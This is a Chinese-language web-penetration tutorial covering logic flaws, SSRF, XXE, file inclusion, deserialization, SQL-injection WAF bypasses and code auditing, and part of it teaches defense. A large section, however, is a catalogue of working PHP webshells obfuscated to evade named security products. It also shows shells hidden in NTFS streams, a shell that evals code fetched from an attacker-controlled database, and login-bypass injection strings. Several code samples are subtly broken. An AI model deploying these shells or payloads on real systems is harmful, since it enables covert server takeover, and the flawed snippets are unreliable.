網絡安全入門到精通(總結篇) 最終篇(下)

每日一句:
	仰望星空的時候,不要忘記腳踏實地
	
本文內容:
	1.	web通信基礎
	2.	後端數據庫正則
	3.	信息收集
	4.	sql注入
	5.	XSS
	6.	CSRF
	7.	文件上傳
	8.	驗證碼、密碼找回漏洞
	9.	越權漏洞
	10.	SSRF
	11.	支付漏洞
	12.	XXE
	13.	變量覆蓋
	14.	文件包含漏洞
	15.	序列化
	16.	Bypass繞過[SQL注入]
	17.	Bypass繞過[Webshall]
	18.	代碼審計

八.驗證碼、密碼找回漏洞

邏輯漏洞:不是發生在代碼層面的錯誤,而是邏輯層面的錯誤。
		 特別是對一些大廠商的挖掘,很難有代碼層次的錯誤

1.驗證碼
	1.驗證碼:
			核心:是一種區分用戶是計算機還是人的公共全自動程序,就是生成問題,而這個問題必須只有人類才能解答。
			防止:惡意破解密碼、刷票、論壇灌水,有效防止某個黑客對某一個特定註冊用戶用特定程序暴力破解方式不斷登錄嘗試。	
	2.驗證碼漏洞類型:
			一、前端驗證碼驗證,沒有後端驗證,直接抓包然後進行跑數據包,反正又沒有驗證的阻礙。		
			二、驗證碼設置了但是並沒有檢驗,亂輸驗證碼也能成功的登錄
			三、驗證碼可以重複利用(常見)。
			四、驗證碼空值繞過。 比如,抓包,將驗證碼的傳參刪除,驗證碼就失效。(常見)
			五、驗證碼可控制,比如它的驗證碼包含在url裏面,是一個url傳參,我們可以把url設置,那麼驗證可控制。
			六、驗證碼有規則,比如是時間戳的後6位(rand函數進行隨機數)
			七、有萬能驗證碼,驗證無論是什麼,只要輸入000000就能直接繞過。
			八、驗證碼有的時候會藏有cookie裏面,分析一下是不是存在驗證碼的參數。
	3.驗證碼繞過:
			一.通過驗證碼的邏輯入手。
			二.通過Python、golang等程序自動識別入手。
			
		遇到驗證碼邏輯漏洞,爆破出密碼,可以提交弱密碼和驗證碼邏輯漏洞。
		不出意外,一箇中危,一個高危。
		
2.密碼找回:
	1.有一類驗證碼,他並不是區分用戶是計算機還是人的公共全自動程序,他是用來證明你的身份的。
			比如登錄微信、支付寶支持短信驗證碼登錄,像這類驗證碼他實際上是用來區分你的身份的。
	2.找回密碼渠道:
			第一種往郵箱發送明文或密文的密碼或者驗證碼(手機短信驗證就是往你手機號碼發驗證碼)通過這樣的方法來判斷是否是本人
			第二種發送一個重置密碼的鏈接到郵箱。
	3.密碼找回產生的漏洞:
			一、驗證碼發送後前端返回
			二、驗證碼無次數限制可爆破
			三、驗證碼可控
			四、直接修改密碼頁面
			五、缺失的身份驗證-->綁定別人的賬號到自己的手機
			六、越權漏洞-->自己驗證碼通過改包然後修改他們的密碼

九.越權漏洞

1,什麼是越權?
越權漏洞的概念:
		越權漏洞是一種很常見的邏輯安全漏洞。是由於服務器端對客戶提出的數據操作請求過分信任,忽略了對該用戶操作權限的判定。
		導致修改相關參數就可以擁有其他賬戶的增、刪、查、改功能,從而導致越權漏洞。
越權操作類型:
		橫向越權操作(水平操作):是指相同權限下不同的用戶可以互相訪問。
		垂直越權操作(垂直操作):是指低權限用戶可以使用高權限用戶的功能。
		交叉越權:皆可以。
越權測試方法:	
		水平越權測試方法主要就是看看能夠通過A用戶操作影響B用戶。
		垂直越權測試方法主要就是看看使用低權限用戶能否使用高權限用戶的功能,比如普通用戶可使用管理員功能。	

2,越權測試過程
把握住傳參就能把握住邏輯漏洞的命脈。
		~越權測試,登錄A用戶,正常更改或者是查看A用戶信息,
		~然後抓取數據包,將傳參ID修改其他用戶,
		~如果能成功看或者修改了同權限其他用戶的信息,就屬於水平越權測試,
		~如果可以影響高權限用戶就是垂直越權。
		
傳參需要自己檢測,(常見:uid= id= user= 等)通常使用burp進行抓包傳參(傳參可能在GET/POST/COOKIE)。

3,危害
		~不需要輸入原密碼的修改密碼,
		~修改他人密碼、修改資料
		~查看訂單的時候,遍歷訂單等

4,常見越權漏洞(未授權訪問)
		抓取傳參可以在瀏覽器、app、應用程序(exe),不要有思維侷限
		
		未授權訪問,嚴格意義上而言這個不屬於越權漏洞,,是在未登錄的情況下,訪問登錄後的頁面,可以訪問。
		
		即:越權一定未授權訪問,未授權範圍跟未必會越權

十.SSRF

XSS跨站腳本攻擊
CSRF跨站請求僞造
SSRF服務器端請求僞造

1,SSRF:
什麼是SSRF:
		定義:攻擊者能夠從易受攻擊Web應用程序發送精心設計的請求,對其他網站進行攻擊。
			  或者說,利用一個可發起網絡請求的服務當作跳板來攻擊其他服務
		簡單來說:就是攻擊者可以借用目標網站攻擊其他網站(借刀殺人)。
		
作用,能幹什麼?
		1.隱藏自己。
		2.進入內網,掃描內部網絡,開心滲透。
		3.可以更好的對那臺存在SSRF漏洞的服務器進行攻擊。
		4.向內部任意主機的任意端口發送精心構造的數據包[payload]。
		5.DDOS(請求大文件、始終保持連接Keep_Alive Alvays)。
		6.暴力窮舉[users/dirs/files]。
		
SSRF漏洞的核心是什麼?
		進入了內網,繞過了很多防火牆機制,因爲防禦大部分對外不對內
		可以去訪問僅僅對內部開放的危險端口。擴大危害(redis之類的)
		可以通過file協議讀取敏感信息
		
主流防護
	1.WAF  防火牆  IPS
	2.主流防護概念:防外不防內,外網很強悍,內網很脆弱。	
	故,ssrf的主要危害就是對內網的威脅,使脆弱的內網暴露在公衆之下
	
常用協議:
	1.dict字典協議:// ,可以做到探測的功能,可以探測端口,中間件,版本等,如url=dict://127.0.0.1:80。
	2.file讀本機網站的協議:// . 如:url=file:///c:/1.txt 作用:可以在文件系統中讀取文件,有的時候會被禁用
	3.ftp讀取文件協議:// ,ftp是否開起支持,並不能直接使用,並且沒有那麼多站點開啓了ftp。
	4.ssrf支持協議:dict://  file://  sftp://  ldap://  gopher://  ftp://  http:// 等
	5.gopher協議:可以用這個協議發送各種格式的請求包
	
主要危害(常見危害):
	SSRF原理類似於代理,但是主要危害是內網滲透
	1.讀取敏感文件
		如:url=file:///c:/1.txt	
	2.探測端口
		url=dict://127.0.0.1:80		有些端口對內不對外,僅能通過127.0.0.1:xx訪問
		
如何挖掘SSRF漏洞:
	1.能夠對外發起請求的地方,就可能存在SSRF漏洞[POST或GET]。
	2.傳參裏面存在了文件後綴或者協議,一定要重視。
		出現協議說明,這裏90%能發起請求,比如:http://  ftp://等。
		出現文件後綴,說明這裏可能有發起請求|任意文件下載|任意文件讀取,比如:index.php; x.html等
		../作用:跳出目錄。
	3.從遠程服務器請求資源:
		數據庫內置功能[Mysql],openrowser函數操作遠程數據庫[操作內網的數據庫]。
		
如何防禦:
	1.限制請求的端口。
	2.過濾返回的信息。
	3.黑名單內網ip。
	4.禁用其他協議,允許http,https。
	
其他補充:
	1.端口可以使用Burp爆,但是BURP掃端口和nmap掃描端口是不同的,burp掃描內部端口,在內部是可以調用的,
	2.空白頁面:訪問網站或者端口,是空白頁面,,並不一定是空白頁面,需要檢查源代碼看看。
	3.ssrf與csrf:除了名字相似,基本沒聯繫,一個是借刀殺人,一個是利用cookie。

十一.支付漏洞

1.快捷支付原理:
	商戶網站接入支付結果有兩種方式:
		一、通過瀏覽器進行跳轉通知[不常見]:
				就是你付賬之後,瀏覽器通知服務器,基本依託前端的跳轉,服務器更新,不可靠。
		二、服務器端異步通知[常見]:
				該方式是通過支付公司服務器端後臺直接向用戶指定的異步通知URL發送參數,採用POST、GET的方式。
				就是你付賬之後,支付商和商家有自己的聯繫通道,不僅僅依靠客戶瀏覽器跳轉。
2.常見的支付漏洞:
		一、修改支付價格;
		二、修改支付狀態;
		三、修改訂單數量;
		四、修改附屬性質;
		五、越權支付;
		六、無限制試用;
3.支付漏洞如何挖掘:
		找到關鍵的數據包:可能一個支付操作三四個數據包,要對數據包進行挑選。
		分析數據包:支付數據包中包含有很多的敏感信息[賬號、金額、餘額、優惠],要嘗試對數據包中的各個參數進行解析。
		不按套路出牌:多去想想開發者沒有想到的地方。
		pc端嘗試過:wap端(移動端網頁)、app端也都嘗試一下。
4.防禦方法:
		後端檢查每一項值,包括支付狀態。
		檢驗價格、數量參數、比如產品數量只能爲正整數,並顯示購買數量。
		與第三方支付平臺對比,實際支付的金額是否與訂單金額一致。
		支付參數進行MD5加密,解密,數字簽名及驗證,這個可以有效的避免數據修改,重放攻擊中的各種問題。
		金額超過閥值,進行人工審覈。

十二.XXE

0,重要函數
		simplexml_load_string的函數,在php中只要有此函數,就可能造成xxe。
		file_put_contents函數,新建文件,格式:file_put_contents('新建文件名','新建文件內容')

1.什麼是XXE:
	XXE就是xml外部實體注入。本質也是一種注入。
	
2.XXE核心:
	原理:
		攻擊者使用關鍵字SYSTEM,強制XML解析器去訪問攻擊者指定的資源內容[可以是本地文件,也可以是遠程服務器系統上的文件]
	條件:
			~用戶能夠控制輸入
			~程序原本要執行代碼,拼接了用戶輸入的數據,然後去執行。
	作用:	讀取文件,攻擊內網。
	危害:
			讀取任意文件、
			執行系統命令、
			探測內網端口、
			攻擊內網網站、
3.XXE不足:
	很多時候後端語言解析XML後,並不會給輸出。
	這樣就要使用一個類似於接收平臺一樣的接收器:
		XML讀取文件後發送到平臺;
		平臺存儲,然後再去接收平臺查看就可以了[和反彈注入相似]。
	步驟:
		1.xml負責讀取我們想要的內容
		2.php負責接收xml讀取的內容,並將內容保存到txt中。
		3.txt負責顯示讀取的內容。
		
4.XXE防禦:
	方法一、
			使用開發語言提供的禁用外部實體的辦法
			php:libxml_disable_entity_loader(true);
	方法二、
			過濾用戶提交的XML數據。
			關鍵詞:不允許出現SYSTEM和PUBUC。
			
5.XXE擴展:
		實體的名稱可以隨便起。
		外部引用支持http、ftp等協議,不同的語言支持的協議不同,但存在一些通用協議
	如:
		libxml2:	file、http、ftp
		php:		file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar
		java:		http、https、ftp、file、jar、netdoc、mailto、gopher *
		.net:		file、http、https、ftp

補充:

1.什麼是XML?
	1.XML指可擴展標記語言。
	2.XML是一種標記語言,很類似與HTML.
	3.XML的設計宗旨傳輸數據,而非顯示數據。
	4.XML標籤沒有被預定義,需要自行定義標籤。
	5.XML被設計爲具有自我描述性。
	6.XML是W3C的推薦標準。
2.特點:
	1.XML是純文本,本身沒有危害,就是一個存儲數據的;但是在一些動態語言腳本里邊存在一些函數:
		如:simplexml_load_string的函數,這個函數是將xml轉化爲對象,在php中只要有此函數,就可能造成xxe。
	2.XML可以自己發明標籤[允許定義和文檔結構]。
	3.XML無所不在,XML是各種應用程序之間進行數據傳輸的最常用工具,並且在信息存儲和描述領域越來越流行,
3.結構:
	第一部分是聲明,主要定義XML使用版本和使用編碼
	第二部分是DTD部分,主要是約束作用,簡單的說,給內容部分定規矩
		DTD約束的三種形式:
			內部DTD:<!DOCTYPE 根節點  [DTD的代碼]>
			外部DTD:<!DOCTYPE 根節點 "DTD的地址">
			網絡DTD:<!DOCTYPE 根節點 PUBLIC  "DTD的名稱"  "DTD的地址">
	第三部分是內容。
	
	注意:
		定義實體必須是在DTD部分,DTD是定義XML變量,可以實現遠程調用。
		DTD部分:實體用於定義應用普通文本或特殊字符的快捷方式的變量。
		實體:存儲數據的變量,實體引用是對實體的引用,實體可在內部或外部進行聲明。

十三.變量覆蓋

一、什麼是變量覆蓋
	1.變量覆蓋定義:
			指的是可以利用我們的傳參值替換程序原有的變量值。
			
			舉例:
					$a=123
					$a=124
					echo $a
			運行結果:124。
		
	2.怎麼尋找變量覆蓋?
			$$使用不當:特殊符號使用不當。
			import_request_variables()使用不當。
			開啓了全局變量註冊等
			extract()函數使用不當[常見]:	將數組中的數據變成變量。
			parse_str()函數使用不當[常見]:	將查詢字符串解析到變量。
			
二,函數解析:
	1.extract()函數:
		作用:[將數組中的數據變成變量]
		實例:
				<?php
				$a = "1";
				$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
				extract($my_array);
				echo "\$a = $a; \$b = $b; \$c = $c";
				?>
		運行結果:$a = Cat; $b = Dog; $c = Horse
		
		一道ctf題實例:
				<?php
				$flag = "flag(12345)";
				extract($_GET);
				if(isset($gift)){
					$conetnt=trim($test);
					if($gift==$content){
						echo 'flag is'.$flag
					}}
				?>
		解析:
				isset是判斷gift是否存在
				trim是將變量test值的空格去掉
				$test在extract上邊,就可以通過get傳參text=121,將原來test覆蓋掉
				還需傳參gift,讓它符合if語句的條件
			
			答案:?test=123&gift123
			
	2.parse_str()函數:
		作用:將查詢字符串解析到變量中
		實例:
				<?php
				parse_str("name=aa&&age=60");
				echo $name."<br>";
				echo $age;
				?>
				運行結果:aa和60 
		解析:
				parse_str("name=aa&&age=60") 相當於完成了$name ='aa'和$age ='60'
				如果在patrse_str中可以直接傳參的話,也可以覆蓋變量。
						<?php
						$a=$_GET['id']
						parse_str("$a");
						echo $name."<br>";
						echo $age;
						?>
				
	3.特殊符號搭配[$$]:
		不僅僅是函數會導致變量覆蓋,有些特殊符號的特殊搭配也會引起變量覆蓋漏洞,比如$$
		例題:
				<?php
				$a = 1;
				foreach(array('_COOKIE','_POST','_GET') as $_request) {
				foreach($$_request as $_key=>$_value) 
				{$$_key=addslashes($_value);}}
				echo $a;
				?>
		解析:
				addslashes:一個函數,起到了魔術引號的作用,在每個雙引號之前加反斜槓。
				foreach遍歷數組。
				會接受GET參數、POST參數、COOKIE參數,將接收參數依次放入$_request
				也可以看作:$_request=$_GET+$_POST+$_COOKIE
				$_key=>$_value 這是個數組解析,實際上就是鍵值分離,$_ket=鍵名,$_value=鍵值
				正常而言$a = 1是一個定值,但是因爲$$_key的緣故,當我傳參a=2;那麼$$_key=addslashes($_value);就變爲了$a = 2 .
			
			再舉個簡單的列子:
				$ a = 'b';
				$ b = 'zx';
				echo $$a;
				運行結果:zx
			解釋:$$a--->$b-->zx

十四.文件包含漏洞

1,什麼是文件包含漏洞?
	定義:
		攻擊者利用包含的特性,加上應用本身對文件[包含]控制不嚴格,最終造成攻擊者進行任意文件包含。
		文件包含並不屬於漏洞,但是由於對包含的文件不可控,導致文件包含漏洞的產生。
	注意:
		本地文件包含[LFI]:包含服務器上的資源。
		遠程文件包含[RFI]:通過HTTP協議包含其它地方的資源,需要在phpini修改配置,(allow_url_include = On)默認是關閉的,需要開啓,配置文件修改後需要重啓
		被包含的文件,不管後綴是什麼,都會被當做php代碼解析執行,
		包含文件可以簡化代碼。
函數解析:
	理解:
			include:使用include引用外部文件時,只有代碼執行到include代碼段時,
					 纔會調用外部文件,當引用文件發生錯誤,系統給出警告錯誤,
			   		 整個php文件會繼續執行。
			require:在php文件執行之前,php解析器會被引用的文件全部內容替換require語句,
					 然後require語句之外的其他語句,組成個新的php文件,最後按新的php文件執行程序代碼,
					 當引用文件發生錯誤,整個php文件不再繼續執行。
			include_once:
					導入文件前先檢測文件是否已經有這幾個函數調用了,如果是,則不會執行該函數去引用文件。
			require_once:
					在應用require_once時,先會檢查要引用的文件是否已經有這幾個函數調用了,如果是,則不會執行該函數去引用文件。
			
			在同一文件中使用兩次require_once,只有第一個文件被執行,第二引用文件不會被執行。
		
挖掘技巧:
	因爲對文件包含主要是對包含的函數,處理不當造成,可以針對性的對這些函數進行點名,如:
		1、require()
		2、require_once()
		3、include()
		4、include_once()
		
防禦策略:
	1.無需情況下設置allow_url_include和allow_url_fopen爲關閉。
	2.對可以包含的文件進行限制,可以使用白名單的方式,或者設置可以包含的目錄,如open_basedir。
	3.建議假定所有輸入都是可疑的,嘗試對所有輸入提交可能包含的文件地址,包括服務器本地文件及遠程文件,進行嚴格檢查,參數中不允許出現../之類的目錄跳轉符。
	4.嚴格檢查include類的文件包含函數中的參數是否外界可控。
	
其他補充:
	file_put_contents函數
		作用:建立新文件
		格式:file_put_contents('新建文件名','新建文件內容')
		例如:
				file_put_contents('sb.php','<?php eval($_REQUEST['a']);?>')

十五.反序列化

0,關鍵函數
		unserialize(),在php裏存在此函數,若可以控制傳參,則極大可能存在反序列化,
1,序列化:
	什麼是序列化:
			是將對象的狀態信息轉換爲可以存儲或傳輸的形式的過程
			[將狀態信息保存到字符串]。
	什麼是反序列化[本身不是漏洞]:
			反序列化就是再將這個狀態信息拿出來還原狀態
			[將字符串轉化爲狀態信息]。
			
	狀態信息:對象、類、數組、變量、自定義函數等。	
	反序列化漏洞:
		可以任意控制反序列化處理的字符串,就是反序列化漏洞。
	函數:
			__FILE__:獲取當前文件路徑。
			show_source():顯示文件源碼。
			print_r():可以輸出非字符串,如對象,數組等。
			serialize:序列化將對象狀態信息轉化爲字符串
			unserialize:反序列化將字符串轉化爲對象的狀態信息。
	舉例:	
		show_source(__FILE__) :查看當前文件的內容[源碼]
		show_source("x.php") :查看x.php文件的內容[源碼]
		
		serialize():將對象轉變成字符串:				
				<?php
				show_source(__FILE__);
				class aa {
					var $b = '123';
				}
				$class1 = new aa; 新建對象
				$class1_ser=serialize($class1); 序列化
				var_dump($class1_ser);
				?>
		運行結果:O:2:"aa":1:{s:1:"b";s:3:"123":}
		解析:
				O表示object對象,
				2表示對象的名稱有2個字符
				aa對象名稱,1表示只有一個值
				s表示字符串1表示變量名字長度
				s表示字符串3表示變量值的長度
				
		unserialize()可以從序列化後的結果中恢復對象(object)
				<?php
				show_source(__FILE__);
				class aa {
					var $b = '123';
				}
				$class2 = 'O:2:"aa":1:{s:1:"b";s:3:"124";}' ; 
				$class2_ser=unserialize($class2); 
				var_dump($class2_ser);
				?>
	  運行結果:aa Object([b] => 124)
	  
		魔術方法:滿足某種條件後自動執行函數
			__construct():當對象創建(new)時會自動調用。但是在unserialize()時是不會自動調用的。(構造函數)。
			__destruct():當對象被銷燬時會自動調用。(析構函數)。
			__wankeup():如前所提,unserialize()時會自動調用[反序列時]。

十六.Bypass繞過[SQL注入]

1,Bypass繞過[SQL注入]:
		WAF是一個縮寫,全名叫做Web應用防護系統。
		通過執行一系列針對HTTP/HTTPS的安全策略來專門爲Web應用提供保護的一款產品。
WAF分類:
		硬件類型,一般不會遇到,因爲硬件WAF價格昂貴。
		軟件類型,常見的有:安全狗、雲鎖、懸鏡、護衛神、雲盾。
WAF檢測機制:
		核心:正則匹配,還有字符串強行匹配,語義解析等、
		常見:正則匹配[符合規則,攔截]。
Bypass是什麼?
		字面意思繞過,通過特殊語句的構建進行滲透測試,然後達到繞過WAF的手法。
常見繞過方法:
		在傳參時,被WAF攔截,要先將傳參的數據,一點點拆開來,
		看看WAF具體是匹配什麼攔截的。
		
	1.如是1=1:
		嘗試:
				-1=-1 返回正常
				-2=-2 報錯,說明此處存在注入點。
	2.如是and
		嘗試:
				數據庫的邏輯符號:"&"
				注意:"&"在url中具有特殊含義,所以需要進行URL編碼。
	3.如是sql語句:
		嘗試1:
				內聯註釋:內連註釋,是Mysql爲了保持與其它數據庫兼容,將Mysql中特有的語句放在/*!...*/中執行。
				這些語句在不兼容的數據庫中不執行,而在Mysql中自身能識別,執行。
				舉例:id=1 union /*!10044select*/1,2,3
				解釋:10044爲數據庫的版本,可通過版本繞過,使用burp抓包爆破,看那些版本是可以繞過的。
		嘗試2:
				注意:繞過方法是可以結合的,比如內聯結合特殊字符。
				舉例:id=1 union -- qwe/*%0a select1,2,3from admin %23 */
				解釋:%0a換行 -- qwe註釋/*  %23註釋*/
		嘗試3:
				可以使用Apace參數污染,Apace特有的。
				舉例:id=1 /*$id=2 union select 1,2,3 from admin %23*/
				解釋:傳參時,以爲id=1,解析時,實際id=2
	4.總結:
			大小寫繞過[很老的WAF纔有用]
			替換繞過[很老的WAF纔有用]類似於文件上傳"pphphp"。
			特殊字符繞過;[%0a換行]
			編碼繞過[比如多次解碼的東西,例如DOM xss繞狗]
			等價替換(利用其它函數替代)union #%0aselect攔截 [union all #%0aselect不攔截]。
			容器特性(例如Apace的參數污染 HPP,或者是IIS的%分隔)在IIS傳參裏面寫s%e%l%e%c%t=>select
			白名單(管理員權限或者是127.0.0.1本地訪問不攔截)
			緩衝區(數據太多了,超出了WAF檢測的範圍,)
			有些函數加了反引號,可以運行,常見的是sleep、updatexml

十七.Bypass繞過[Webshall]

1,WAF檢測機制:
		最常見的php一句木馬是:<?php @eval($_REQUEST['a'])?>
		如果被攔截了,就需要考慮他的攔截機制是什麼樣的,和sql注入攔截一樣,將代碼拆分,一點點來,看是匹配什麼。
2,常見的繞過手法:
		函數替代:安全狗匹配的就是$_REQUEST[]使用函數替代中括號end函數。
		通過常量定義。
		通過字符串拼接+雙美元符。
		通過函數定義強行分隔。
		通過類定義+魔術方法,然後傳參強行分隔。
		多種方式傳參免殺。
		通過所有函數,二維數組調用免殺
	
	1.函數替代:安全狗匹配的就是$_REQUEST[],使用函數替代中括號。
			舉例:<?php @eval (end($_REQUEST));?>
	2.通過常量定義:
			<?php define("a","$_REQUEST[a]");eval(a);?>
	3.通過字符串拼接+雙美元符:
			<?php
				$a='ass';
				$b=ert;
				$funcName=$a.$b;
				$x='funcName';
				$$x($_REQUEST['a']);
			?>
			$assert($_REQUEST[1]); 	assert類似於eavl
			爲什麼要用assert,因爲php中eval不能拼接執行(規定)	
	4.通過函數定義強行分隔:
			<?php
			fuction a($a){
			return $a;}
			eval(a($_REQUEST)['a']); 強行分隔$_REQUEST['a']
			?>
	5.通過類定義+魔術方法,然後傳參強行分隔:
			<?php
			class User{
			public $name='';
			function __destruct(){
				eval("$this->name");
				}
			}
			$user=new User;
			$user->name=''.$_REQUEST['a'];	
			?>			
	6.多種方式傳參免殺:
			<?php 
			$COOKIE=$_COOKIE;
			foreach($COOKIE as $key=>$value){
			if($key=='assert'){
			$key($_REQUEST['a']);
			}
			}
			?>
			需要對cookie傳參
	7.通過所有函數,二維數組調用免殺:
			<?php 
			$a=get_defined_functions();
			$a['internal'][841]($_REQUEST['a']);
			?>
			通過二位數組,數組,鍵,值。
	8.繞D盾:
			<?php 
			if($_SERVER['HTTP_USER_AGENT']==='1'){
				eval (end($_REQUEST));}?>
			需要抓包將USER_AGENT改爲1
	9.得到shall藏shall:NTFS文件流,寄存:
			echo abcd>>a.txt:b.txt 將abcd寫入a.txt:b.txt,很明顯生成一個a.txt,將b.txt寄宿到a.txt文件上。
			任意文件存放,訪問即可
			<?php include('/:123.txt')?>
			藏shall,將獲取的shall藏到[寄存]/文件裏
			echo"<?php eval($_REQUEST['a']);?>">>/:123.txt
			dir也查詢不到
			安全狗檢測不出,D盾爆出可疑
			只有windows裏可以用。
	10.終極大法:
			<?php
			eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','database'),'select * from table_name'))['column_name']);	
			?>
	通過連接數據,執行數據庫,查詢info表裏,info字段,只能查詢一條數據,所以第一條數據要放一句話木馬:<?php @eval($_REQUEST['a'])?>
	讓服務器去連接讀取我們放在公網的數據庫的內容,可以使用香港雲、虛擬主機等

十八.代碼審計

1,代碼審計的思路
		滲透測試的滲透測試人員->滲透測試->找漏洞->找BUG->開發人員技術不到關或者銜接問題等。
		安全不能孤立=>漏洞一定存在(用戶體驗性與安全性成反比)
		
	代碼審計核心在於通過源代碼,知道代碼如何執行,然後根據代碼執行中可能產生的問題來尋找漏洞。
	代碼審計一般泛指白盒審計,但是要記住,通過型漏洞,例如CMS通殺漏洞,
	其實並不是僅僅只有代碼審計能夠找到,本地搭建
	然後純黑盒測試也可以的,只不過代碼審計更爲全面的容易找到漏洞。
	
	代碼審計其實思路很簡單,一共兩條路線,全文通讀和敏感函數定義
	全文通讀:
			將全文代碼一行一行查看。
	敏感函數定位:
			掌握住可以存在危險函數的地方,反推。
			變量覆蓋
			文件包含
			
	無論是哪一個審計方式都需要一定的編程功底,但是如果你的編程功底不夠怎麼辦?
	其實可以嘗試使用黑盒+白盒代碼審計的方式進行一個學習,
	通過黑盒的方法進行測試,然後去了解究竟傳參進去經過處理髮生了什麼?
	然後構建合適的語句進行嘗試,最後找到問題所在點。
	
2,滲透測試的步驟[思路]
	黑盒測試:
			信息收集
			尋找功能點
			sql注入
			XSS
			CSRF
			文件上傳
			XXE		【simplexml_load_string()函數】
			
			邏輯漏洞:
					驗證碼繞過
					密碼找回
					支付漏洞
					越權
					未授權訪問
	白盒測試:
			變量覆蓋
					extract()函數:
					parse_str()函數:
					特殊符號搭配[$$]:
			文件包含
					include()函數
					require()函數
			反序列化
					unserialize()函數
					
3,以CMS爲例:
	1.劃分功能模塊:
			安裝:
					重複安裝,可以進入後臺GETSHELL
					很多網站,提倡,站庫分離,即網站與數據庫不在同一臺機器,
					重複安裝時,可以將數據庫外接到我們公網數據庫。
					雙引號解析,直接shell
					注意:雙引號解析只會發生在php5.5以上版本
			前臺:
				用戶註冊:
					可能存在的危害:
							sql注入、存儲型XSS、邏輯錯誤可爆破用戶名
					註冊處理頁面功能一般是:
							接收傳參、過濾參數、插入數據庫
					審計思路;
							正常註冊,提交,抓包
							查看請求包內容[主要是提交的數據]
							查看提交數據由誰處理[找處理文件]
							查看有沒有標識符[不是我們提交的數據,但是它參與了傳參]
							
							一個php文件可能有幾個功能模塊,標識符的作用就是調用哪個功能
							去標識符文件,查看功能代碼的作用
							如果接受參數,直接插入數據庫,沒有過濾參數,那就會出問題。
							
							比如註冊的地方存在XSS,如果只是在前臺,那麼影響不大,
							可以登錄後臺查看,如果沒有也存在,那這個危害就大了
							
						當我們打出xss 的時候,就應該考慮這個地方是不是也具有SQL注入
						在填寫註冊信息的時候加上'")#這四個符合試試閉合,如果註冊成功,就沒有什麼危害了。
						當然沒有什麼危害,也只是說黑盒方面可能不存在危害了,但是白盒還可以
						去查看源代碼怎麼過濾的,找到具體的防護手段,看看是不是還有可能繞過。
						比如:遇到的魔術引號,可以使用寬字節,使用burp的時候post傳參一般是不會進行url編碼的,所以需要更改hex,就可以解決了
						可以使用updatexml()並補充對應格式,最後加註釋打出報錯注入。
						對應該是可以通過seay代碼審計工具,抓到。
						若一直執行失敗,可以先將語句放到數據庫執行,若沒問題,說明cms有所防護(關閉了錯誤回顯)
						可以使用:盲注,或查找回顯是怎麼關閉的[需要代碼功底]。
						如果存在驗證碼且驗證碼每次都改變,那麼盲注就不行了
						還有一種方法,就是:插入一句,可以實現一次插入多條數據的功能。
						想方法,將第一次value數據閉合,然後在進行一個數據插入,第二條數據插入就可以使用子查詢等,查詢出我們想要的內容。				
						在註冊的時候,會遇到提示用戶名已註冊這種情況,可以使用burp抓包爆破出數據庫中都有哪些用戶名。
						
				用戶登錄:
					可能存在的危害:	
							寬字節注入-萬能密碼
							cookie未加密等
							如用戶名輸入:admin 密碼輸入:%df' or 1=1#
				修改資料
					可能存在的危害:
							存儲型XSS
							SQL注入
							文件上傳等
------------------------
其他補充:
-----------------------
1,一些CMS的漏洞僅能在特定的版本中纔可以復現。
2,php.ini文件修改後,需要重啓phpstudy生效。
3,如果自己搭建的CMS註冊一直出現問題的話,可能是session
4,同一個網站,在一個地方出現注入,其他地方也有可能存在。
		比如:在用戶登錄出存在注入,在管理員登錄也很有可能存在。
5,後臺比前臺脆弱的多;內網比外網脆弱的多。
6,魔術引號的使用範圍(寬字節核心-魔術引號核心-將單雙引號、反斜槓再添加一個反斜槓)
		魔術引號儘可以影響GET/POST/COOKIE傳參。
		可以通過head傳參繞過,使用$_SERVER()獲取頭信息。
				$_SERVER(HTTP_REFERER)
				$_SERVER(HTTP_USER_AGENT)
				$_SERVER(REMOTE_ADDR)
			會獲取ip:一般網站匿名評論等。
7,後臺比前臺脆弱多,內網比外網脆弱的多。
	如:CMS後臺提供備份數據庫的功能,命名規則是以時間規則命名的。
			若這個文件不加限制,普通用戶也可以反問,這就很危險了。
			步驟:
					備份文件
					需要知道備份sql文件存放位置
					burp找對的目標網站爆破指定位置,可以指定時間段。
					爆出文件,下載用本機的數據庫管理員程序打開
					然後就獲取了數據庫的所有數據。
8,sqlmap中*的使用:
		本質:就是sqlmap會在*的地方進行所有語句替換。
9,本地測試過程中,不知道傳參發生了什麼,就可以修改本文件,將接收傳參的變量,輸出一下。
10windows系統文件路徑具有長度限制:
		如果輸入的數據超過長度限制,,超過的數據就會被系統丟掉,具體長度是256個字符。
		還有就是在路徑後邊加.會被去掉,如:1.txt...... 最終是1.txt
		所以我們在滲透測試過程中,可以使用.超過長度的限制讓開發本意拼接的內容失效。
		注意:
				截斷問題在php5.3以下的版本可以實現。
				本質:include等一些函數獲取的長度過長時,就不會執行。
				文件上傳的00截斷在5.2以上版本也不行。
				修復了00被當做終結符的bug
11,圖片馬成功的條件:
		1.能傳入到服務器沒有進行二次渲染,影響到一句話木馬。
		2.傳入的馬被相對應的語句解析了
12,文件包含的馬有時候無法直接使用:
		比如需要cookie的時候,可以使用file_put_contents('文件名','一句話木馬')寫入一個文件,直接訪問文件,拿下shall
13,本機測試的一些騷操作
	有時候,我們上傳的木馬沒有解析成功,會不會是我們的木馬有問題?
			解決方法:
					找到我們的圖片馬的位置
					直接將文件改爲1.php,訪問試試,看看有沒有報錯。
			有的時候圖片馬沒有起到效果,可以換一張圖片試試
			有的時候圖片馬沒有問題,但是使用菜刀鏈接不上,可以使用別的軟件試試,或者換別的版本試試。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章